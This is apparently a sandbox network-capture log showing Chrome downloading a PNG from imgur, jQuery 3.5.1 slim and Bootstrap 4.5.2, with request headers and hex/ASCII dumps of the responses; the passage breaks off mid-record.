2024-09-24 04:29:46 UTC	1371	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2a 00 00 00 27 08 02 00 00 00 37 b1 92 12 00 00 05 a0 49 44 41 54 78 9c ec 9c d1 6b db 46 18 c0 6f a3 cf 79 1a 39 2d 8b a0 2f 1d 65 6b 24 b3 b0 c1 4a 36 da 80 12 77 65 af 69 bc da 75 07 4b 96 97 11 82 a3 98 41 d3 d2 66 30 52 c7 64 65 30 b2 66 a3 71 ed d5 69 d8 db 60 73 6c e8 92 b5 33 f4 21 60 3b 6b 09 e4 61 03 65 de 9d a1 2f d9 3f 30 a4 4b 85 eb d9 b2 23 cb 3e db f9 7e f4 c1 be 9c 7c 57 49 3f 7f 77 df 9d 7c ec ad 77 de 45 00 00 f0 e0 65 de 1d 00 80 a3 0b e8 07 00 dc 00 fd 00 80 1b a0 1f 00 70 03 f4 03 00 6e 80 7e 00 c0 0d d0 0f 00 b8 01 fa 01 00 37 40 3f 00 a8 17 01 e3 78 34 62 e3 c0 63 16 7f fb e7 6f ad 8e 2e 1d f0 ea 6b 62 fd 1f d2 79 38 72 6e eb a4 33 2e 8d 80 b1 7b 58 a9 bd 3e 21 34 93 cd 11 4a Data Ascii: PNGIHDR*'7IDATxkFoy9-/ek$J6weiuKAf0Rde0fqi`sl3!`;kae/?0K#>~\|WI?w\|wEepn~7@?x4bco.kby8rn3.{X>!4J
2024-09-24 04:29:46 UTC	126	IN	Data Raw: ea 74 c9 d2 a1 1e 7a a8 45 8c 1a 11 04 3d f0 b2 9d df ac 24 91 4c d5 be d3 ad b9 d1 0f 78 0e 44 bf 0e c3 25 4b 87 7a d4 88 61 a5 1f 00 00 0d 05 7e 6c 02 00 b8 01 fa 01 00 37 40 3f 00 e0 06 e8 07 00 dc 00 fd 00 80 1b a0 1f 00 70 03 f4 03 00 6e 80 7e 00 c0 0d d0 0f 00 b8 01 fa 01 00 37 40 3f 00 e0 c6 7f 01 00 00 ff ff e3 86 95 db ed 1c 8d df 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: tzE=$LxD%Kza~l7@?pn~7@?IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.9	49735	199.232.196.193	443	5600	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-24 04:29:46 UTC	346	OUT	GET /N24FdEJ.png HTTP/1.1 Host: i.imgur.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-24 04:29:46 UTC	758	IN	HTTP/1.1 200 OK Connection: close Content-Length: 637 Content-Type: image/png Last-Modified: Fri, 16 Aug 2024 23:31:06 GMT ETag: "72c5faffe174f535b937fbeb3821e899" x-amz-server-side-encryption: AES256 X-Amz-Cf-Pop: MIA50-P3 X-Amz-Cf-Id: S3tKy2lw6CHDY1gL9uXb53OJqPWZmnZGphDoLdrsMK75vxTZfoBv-w== cache-control: public, max-age=31536000 Accept-Ranges: bytes Date: Tue, 24 Sep 2024 04:29:46 GMT Age: 558666 X-Served-By: cache-iad-kcgs7200038-IAD, cache-ewr-kewr1740054-EWR X-Cache: Miss from cloudfront, HIT, HIT X-Cache-Hits: 17, 1 X-Timer: S1727152187.769628,VS0,VE1 Strict-Transport-Security: max-age=300 Access-Control-Allow-Methods: GET, OPTIONS Access-Control-Allow-Origin: * Server: cat factory 1.0 X-Content-Type-Options: nosniff
2024-09-24 04:29:46 UTC	637	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 66 00 00 00 1c 08 02 00 00 00 1c 04 5d 92 00 00 02 44 49 44 41 54 78 9c ec 99 31 6e db 30 14 40 99 36 a3 33 93 45 d1 c9 9e 29 a1 43 81 26 59 29 eb 0a 01 64 cb 63 8b 4e 85 93 fa 0c 71 1c f8 0a 91 2d 20 57 68 ea b5 4d 56 89 73 db 99 dc ab bd 10 58 08 aa ed 10 24 4c 4a 36 c0 37 25 32 65 7d bf ff f9 45 89 c7 6f df bd 07 0e 1d 5e b4 1d c0 e1 e1 94 69 e3 94 69 e3 94 69 a3 aa cc f7 30 82 d0 72 30 87 81 92 32 04 e1 7c 36 bd 4f 13 67 0d 00 70 ac 32 08 21 58 fd c1 38 b7 1c 12 18 0d 23 c9 a7 77 8b d4 76 00 72 94 94 35 4c 3c 68 5f 59 18 10 00 40 96 d3 cd 12 d9 47 65 ad 33 1a 46 22 6d c9 32 dd cc d0 3e 2a 63 cc fa dc df 85 fd 52 86 20 f4 3d 9c 2c 65 53 2f 0c c8 d7 6f 2b ab 61 88 ca 62 8c 6f bd 90 4c 99 58 58 64 Data Ascii: PNGIHDRf]DIDATx1n0@63E)C&Y)dcNq- WhMVsX$LJ67%2e}Eo^iii0r02\|6Ogp2!X8#wvr5L<h_Y@Ge3F"m2>*cR =,eS/o+aboLXXd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.9	49737	151.101.194.137	443	5600	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-24 04:29:47 UTC	363	OUT	GET /jquery-3.5.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-24 04:29:47 UTC	612	IN	HTTP/1.1 200 OK Connection: close Content-Length: 72380 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-11abc" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Tue, 24 Sep 2024 04:29:47 GMT Age: 2167060 X-Served-By: cache-lga21954-LGA, cache-ewr-kewr1740068-EWR X-Cache: HIT, HIT X-Cache-Hits: 464, 1 X-Timer: S1727152187.171856,VS0,VE1 Vary: Accept-Encoding
2024-09-24 04:29:47 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 35 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 64 65 70 72 65 63 61 74 65 64 2f 61 6a 61 78 2d 65 76 65 6e 74 2d 61 6c 69 61 73 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 Data Ascii: /*! jQuery v3.5.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-deprecated/ajax-event-alias,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other c
2024-09-24 04:29:47 UTC	16384	IN	Data Raw: 69 66 28 63 29 7b 69 66 28 79 29 7b 77 68 69 6c 65 28 6c 29 7b 61 3d 65 3b 77 68 69 6c 65 28 61 3d 61 5b 6c 5d 29 69 66 28 62 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 21 31 3b 75 3d 6c 3d 22 6f 6e 6c 79 22 3d 3d 3d 68 26 26 21 75 26 26 22 6e 65 78 74 53 69 62 6c 69 6e 67 22 7d 72 65 74 75 72 6e 21 30 7d 69 66 28 75 3d 5b 6d 3f 63 2e 66 69 72 73 74 43 68 69 6c 64 3a 63 2e 6c 61 73 74 43 68 69 6c 64 5d 2c 6d 26 26 64 29 7b 70 3d 28 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 63 29 5b 41 5d 7c 7c 28 61 5b 41 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b Data Ascii: if(c){if(y){while(l){a=e;while(a=a[l])if(b?a.nodeName.toLowerCase()===f:1===a.nodeType)return!1;u=l="only"===h&&!u&&"nextSibling"}return!0}if(u=[m?c.firstChild:c.lastChild],m&&d){p=(s=(r=(i=(o=(a=c)[A]\|\|(a[A]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[
2024-09-24 04:29:47 UTC	16384	IN	Data Raw: 65 6e 67 74 68 2c 6c 3d 6e 75 6c 6c 3d 3d 6e 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 3d 54 28 6e 29 29 66 6f 72 28 73 20 69 6e 20 69 3d 21 30 2c 6e 29 24 28 65 2c 74 2c 73 2c 6e 5b 73 5d 2c 21 30 2c 6f 2c 61 29 3b 65 6c 73 65 20 69 66 28 76 6f 69 64 20 30 21 3d 3d 72 26 26 28 69 3d 21 30 2c 62 28 72 29 7c 7c 28 61 3d 21 30 29 2c 6c 26 26 28 61 3f 28 74 2e 63 61 6c 6c 28 65 2c 72 29 2c 74 3d 6e 75 6c 6c 29 3a 28 6c 3d 74 2c 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 6c 2e 63 61 6c 6c 28 45 28 65 29 2c 6e 29 7d 29 29 2c 74 29 29 66 6f 72 28 3b 73 3c 75 3b 73 2b 2b 29 74 28 65 5b 73 5d 2c 6e 2c 61 3f 72 3a 72 2e 63 61 6c 6c 28 65 5b 73 5d 2c 73 2c 74 28 65 5b 73 5d 2c 6e 29 29 29 3b 72 65 74 75 72 6e 20 69 3f 65 3a 6c 3f 74 Data Ascii: ength,l=null==n;if("object"===T(n))for(s in i=!0,n)$(e,t,s,n[s],!0,o,a);else if(void 0!==r&&(i=!0,b(r)\|\|(a=!0),l&&(a?(t.call(e,r),t=null):(l=t,t=function(e,t,n){return l.call(E(e),n)})),t))for(;s<u;s++)t(e[s],n,a?r:r.call(e[s],s,t(e[s],n)));return i?e:l?t
2024-09-24 04:29:47 UTC	16384	IN	Data Raw: 65 64 3d 73 2e 63 68 65 63 6b 65 64 3a 22 69 6e 70 75 74 22 21 3d 3d 6c 26 26 22 74 65 78 74 61 72 65 61 22 21 3d 3d 6c 7c 7c 28 75 2e 64 65 66 61 75 6c 74 56 61 6c 75 65 3d 73 2e 64 65 66 61 75 6c 74 56 61 6c 75 65 29 3b 69 66 28 74 29 69 66 28 6e 29 66 6f 72 28 6f 3d 6f 7c 7c 67 65 28 65 29 2c 61 3d 61 7c 7c 67 65 28 63 29 2c 72 3d 30 2c 69 3d 6f 2e 6c 65 6e 67 74 68 3b 72 3c 69 3b 72 2b 2b 29 4f 65 28 6f 5b 72 5d 2c 61 5b 72 5d 29 3b 65 6c 73 65 20 4f 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 67 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 76 65 28 61 2c 21 66 26 26 67 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 Data Ascii: ed=s.checked:"input"!==l&&"textarea"!==l\|\|(u.defaultValue=s.defaultValue);if(t)if(n)for(o=o\|\|ge(e),a=a\|\|ge(c),r=0,i=o.length;r<i;r++)Oe(o[r],a[r]);else Oe(e,c);return 0<(a=ge(c,"script")).length&&ve(a,!f&&ge(e,"script")),c},cleanData:function(e){for(var t
2024-09-24 04:29:47 UTC	6844	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 68 69 73 2e 64 6f 63 75 6d 65 6e 74 7c 7c 74 68 69 73 2c 74 3d 59 2e 61 63 63 65 73 73 28 65 2c 72 29 2d 31 3b 74 3f 59 2e 61 63 63 65 73 73 28 65 2c 72 2c 74 29 3a 28 65 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 6e 2c 69 2c 21 30 29 2c 59 2e 72 65 6d 6f 76 65 28 65 2c 72 29 29 7d 7d 7d 29 2c 45 2e 70 61 72 73 65 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 69 66 28 21 65 7c 7c 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 65 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 74 72 79 7b 74 3d 28 6e 65 77 20 67 2e 44 4f 4d 50 61 72 73 65 72 29 2e 70 61 72 73 65 46 72 6f 6d 53 74 72 69 6e 67 28 65 2c 22 74 65 78 Data Ascii: unction(){var e=this.ownerDocument\|\|this.document\|\|this,t=Y.access(e,r)-1;t?Y.access(e,r,t):(e.removeEventListener(n,i,!0),Y.remove(e,r))}}}),E.parseXML=function(e){var t;if(!e\|\|"string"!=typeof e)return null;try{t=(new g.DOMParser).parseFromString(e,"tex

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.9	49738	104.18.11.207	443	5600	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-24 04:29:47 UTC	385	OUT	GET /bootstrap/4.5.2/js/bootstrap.min.js HTTP/1.1 Host: stackpath.bootstrapcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-24 04:29:47 UTC	917	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 04:29:47 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: DE Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"02d223393e00c273efdcb1ade8f4f8b1" Last-Modified: Mon, 25 Jan 2021 22:04:11 GMT CDN-CachedAt: 08/20/2022 02:35:31 CDN-ProxyVer: 1.02 CDN-RequestPullCode: 200 CDN-RequestPullSuccess: True CDN-EdgeStorageId: 864 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestId: a6bc14db3a88cabcd6b3bc56a77879ef CDN-Cache: HIT CF-Cache-Status: HIT Age: 16804026 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8c800911deea43ff-EWR
2024-09-24 04:29:47 UTC	452	IN	Data Raw: 37 63 30 63 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 35 2e 32 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 30 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 69 6e 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c Data Ascii: 7c0c/! Bootstrap v4.5.2 (https://getbootstrap.com/) * Copyright 2011-2020 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) */!function(t,
2024-09-24 04:29:47 UTC	1369	IN	Data Raw: 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 7c 7c 73 65 6c 66 29 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 28 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 Data Ascii: fined"!=typeof globalThis?globalThis:t\|\|self).bootstrap={},t.jQuery,t.Popper)}(this,(function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.de
2024-09-24 04:29:47 UTC	1369	IN	Data Raw: 22 29 5b 30 5d 2c 31 65 33 2a 28 70 61 72 73 65 46 6c 6f 61 74 28 6e 29 2b 70 61 72 73 65 46 6c 6f 61 74 28 69 29 29 29 3a 30 7d 2c 72 65 66 6c 6f 77 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 6f 66 66 73 65 74 48 65 69 67 68 74 7d 2c 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 65 28 74 29 2e 74 72 69 67 67 65 72 28 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e Data Ascii: ")[0],1e3*(parseFloat(n)+parseFloat(i))):0},reflow:function(t){return t.offsetHeight},triggerTransitionEnd:function(t){e(t).trigger("transitionend")},supportsTransitionEnd:function(){return Boolean("transitionend")},isElement:function(t){return(t[0]\|\|t).n
2024-09-24 04:29:47 UTC	1369	IN	Data Raw: 64 22 2c 64 65 6c 65 67 61 74 65 54 79 70 65 3a 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 2c 68 61 6e 64 6c 65 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 65 28 74 2e 74 61 72 67 65 74 29 2e 69 73 28 74 68 69 73 29 29 72 65 74 75 72 6e 20 74 2e 68 61 6e 64 6c 65 4f 62 6a 2e 68 61 6e 64 6c 65 72 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 3b 76 61 72 20 6c 3d 22 61 6c 65 72 74 22 2c 63 3d 65 2e 66 6e 5b 6c 5d 2c 68 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 6e 3d 74 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 6e 2e 63 6c 6f 73 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 5f 65 6c 65 6d 65 Data Ascii: d",delegateType:"transitionend",handle:function(t){if(e(t.target).is(this))return t.handleObj.handler.apply(this,arguments)}};var l="alert",c=e.fn[l],h=function(){function t(t){this._element=t}var n=t.prototype;return n.close=function(t){var e=this._eleme
2024-09-24 04:29:47 UTC	1369	IN	Data Raw: 70 69 22 2c 27 5b 64 61 74 61 2d 64 69 73 6d 69 73 73 3d 22 61 6c 65 72 74 22 5d 27 2c 68 2e 5f 68 61 6e 64 6c 65 44 69 73 6d 69 73 73 28 6e 65 77 20 68 29 29 2c 65 2e 66 6e 5b 6c 5d 3d 68 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 65 2e 66 6e 5b 6c 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 68 2c 65 2e 66 6e 5b 6c 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 2e 66 6e 5b 6c 5d 3d 63 2c 68 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 3b 76 61 72 20 75 3d 65 2e 66 6e 2e 62 75 74 74 6f 6e 2c 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 6e 3d 74 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e Data Ascii: pi",'[data-dismiss="alert"]',h._handleDismiss(new h)),e.fn[l]=h._jQueryInterface,e.fn[l].Constructor=h,e.fn[l].noConflict=function(){return e.fn[l]=c,h._jQueryInterface};var u=e.fn.button,d=function(){function t(t){this._element=t}var n=t.prototype;return
2024-09-24 04:29:47 UTC	1369	IN	Data Raw: 65 28 6e 29 2e 63 6c 6f 73 65 73 74 28 22 2e 62 74 6e 22 29 5b 30 5d 29 2c 21 6e 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 65 6c 73 65 7b 76 61 72 20 6f 3d 6e 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 27 69 6e 70 75 74 3a 6e 6f 74 28 5b 74 79 70 65 3d 22 68 69 64 64 65 6e 22 5d 29 27 29 3b 69 66 28 6f 26 26 28 6f 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6f 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 29 72 65 74 75 72 6e 20 76 6f 69 64 20 74 2e 70 72 65 76 65 6e Data Ascii: e(n).closest(".btn")[0]),!n\|\|n.hasAttribute("disabled")\|\|n.classList.contains("disabled"))t.preventDefault();else{var o=n.querySelector('input:not([type="hidden"])');if(o&&(o.hasAttribute("disabled")\|\|o.classList.contains("disabled")))return void t.preven
2024-09-24 04:29:47 UTC	1369	IN	Data Raw: 6c 65 61 6e 7c 73 74 72 69 6e 67 29 22 2c 70 61 75 73 65 3a 22 28 73 74 72 69 6e 67 7c 62 6f 6f 6c 65 61 6e 29 22 2c 77 72 61 70 3a 22 62 6f 6f 6c 65 61 6e 22 2c 74 6f 75 63 68 3a 22 62 6f 6f 6c 65 61 6e 22 7d 2c 76 3d 7b 54 4f 55 43 48 3a 22 74 6f 75 63 68 22 2c 50 45 4e 3a 22 70 65 6e 22 7d 2c 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 2c 65 29 7b 74 68 69 73 2e 5f 69 74 65 6d 73 3d 6e 75 6c 6c 2c 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 6e 75 6c 6c 2c 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 6e 75 6c 6c 2c 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 3d 21 31 2c 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 3d 21 31 2c 74 68 69 73 2e 74 6f 75 63 68 54 69 6d 65 6f 75 74 3d 6e 75 6c 6c 2c 74 68 69 73 2e Data Ascii: lean\|string)",pause:"(string\|boolean)",wrap:"boolean",touch:"boolean"},v={TOUCH:"touch",PEN:"pen"},b=function(){function t(t,e){this._items=null,this._interval=null,this._activeElement=null,this._isPaused=!1,this._isSliding=!1,this.touchTimeout=null,this.
2024-09-24 04:29:47 UTC	1369	IN	Data Raw: 29 7d 2c 6e 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 61 63 74 69 76 65 2e 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 22 29 3b 76 61 72 20 69 3d 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 29 3b 69 66 28 21 28 74 3e 74 68 69 73 2e 5f 69 74 65 6d 73 2e 6c 65 6e 67 74 68 2d 31 7c 7c 74 3c 30 29 29 69 66 28 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 29 65 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 65 28 22 73 6c 69 64 2e 62 73 2e 63 61 72 6f 75 73 65 6c 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b Data Ascii: )},n.to=function(t){var n=this;this._activeElement=this._element.querySelector(".active.carousel-item");var i=this._getItemIndex(this._activeElement);if(!(t>this._items.length-1\|\|t<0))if(this._isSliding)e(this._element).one("slid.bs.carousel",(function(){
2024-09-24 04:29:47 UTC	1369	IN	Data Raw: 6f 55 70 70 65 72 43 61 73 65 28 29 5d 3f 74 2e 74 6f 75 63 68 53 74 61 72 74 58 3d 65 2e 6f 72 69 67 69 6e 61 6c 45 76 65 6e 74 2e 63 6c 69 65 6e 74 58 3a 74 2e 5f 70 6f 69 6e 74 65 72 45 76 65 6e 74 7c 7c 28 74 2e 74 6f 75 63 68 53 74 61 72 74 58 3d 65 2e 6f 72 69 67 69 6e 61 6c 45 76 65 6e 74 2e 74 6f 75 63 68 65 73 5b 30 5d 2e 63 6c 69 65 6e 74 58 29 7d 2c 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 2e 5f 70 6f 69 6e 74 65 72 45 76 65 6e 74 26 26 76 5b 65 2e 6f 72 69 67 69 6e 61 6c 45 76 65 6e 74 2e 70 6f 69 6e 74 65 72 54 79 70 65 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 5d 26 26 28 74 2e 74 6f 75 63 68 44 65 6c 74 61 58 3d 65 2e 6f 72 69 67 69 6e 61 6c 45 76 65 6e 74 2e 63 6c 69 65 6e 74 58 2d 74 2e 74 6f 75 63 68 53 74 61 72 74 58 29 2c 74 2e 5f Data Ascii: 